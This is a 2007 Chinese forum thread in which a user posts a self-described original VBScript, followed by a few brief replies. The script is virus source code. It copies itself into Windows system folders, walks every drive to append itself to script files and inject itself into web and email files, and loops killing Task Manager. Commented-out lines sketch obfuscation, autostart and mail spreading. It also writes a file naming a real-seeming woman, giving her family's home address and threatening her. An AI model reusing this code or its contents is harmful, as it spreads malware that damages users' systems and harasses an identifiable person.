Board logo

标题: [原创]vbs 也是脚本,所以在这里发表。 [打印本页]

作者: correy     时间: 2007-10-1 08:24    标题: [原创]vbs 也是脚本,所以在这里发表。
rem 有不妥之处,请多多指教。
On Error GoTo 0

Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")

set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.WriteLine("I love person,") ''10
lcl.WriteLine("She doesn't love me.")
lcl.WriteLine("She is Liu Chun Li,")
lcl.WriteLine("She mother home is Yuzhen.Qixian.Kaifeng.Henan.China.")
lcl.WriteLine("I was died because by her,")
lcl.WriteLine("I am demanding my life of you.")
rem fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close

self=fso.opentextfile(wscript.scriptfullname,1).readall
''20
For Each d in fso.Drives
if d.drivetype=4 then
Exit For
else
rem fso.CopyFile b, d&"\lcl.txt"
scan(d)
end if
next

Set dirwin = fso.GetSpecialFolder(0) ''30
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl = fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")

sub scan(folder)
on error resume next
set fd=fso.getfolder(folder)
for each file in fd.files ''40
ext=fso.GetExtensionName(file)
ext=lcase(ext)

if ext="v-b-s" or ext="v-b-e" or ext="w-s-c" or ext="w-s-c" or ext="w-s-f" or ext="w-s-h" or ext="s-c-t" then
set ap=fso.opentextfile(file.path,8,true)
ap.write self
ap.close
end if

if ext="h-t-m" or ext="h-t-m-l" or ext="a-s-p" or ext="e-m-l" or ext="a-s-p-x" or ext="h-t-a" or ext="s-html" then ''50
set ap=fso.opentextfile(file.path,8,true)
ap.write "<"&"SCRIPT LANGUAGE='VBScript'> "
ap.write chr(13)&chr(10)
ap.write self
ap.write "<"&"/SCRIPT>"
ap.close
end if

next
for each subfd in fd.subfolders ''60
scan(subfd)
next
end sub

Randomize
SJZV = Array("fso", "self", "SJZV", "SJZVC")
For SJZVC = 0 To 3
rem self=Replace(self,SJZV(SJZVC),Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65)))
Next ''70
rem fso.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline self

with createobject("wscript.shell")
do
.run "cmd /c taskkill /f /im taskmgr.exe",0
rem .sendkeys "%"
loop
end with

rem createobject network
rem spy memory
rem createobject outlook to send mail
rem wshshell.regwrite to autostart to run

作者: wudixin96     时间: 2007-10-1 08:36
只要是脚本都可以到这里发的

作者: lxmxn     时间: 2007-10-1 09:52
既然是原创,标题就要表义,代码就要code起来,基本要求嘛。

作者: yoyodos     时间: 2007-10-1 10:22
能介绍下功能吗

作者: slore     时间: 2007-10-1 11:01
一个相当无聊的脚本……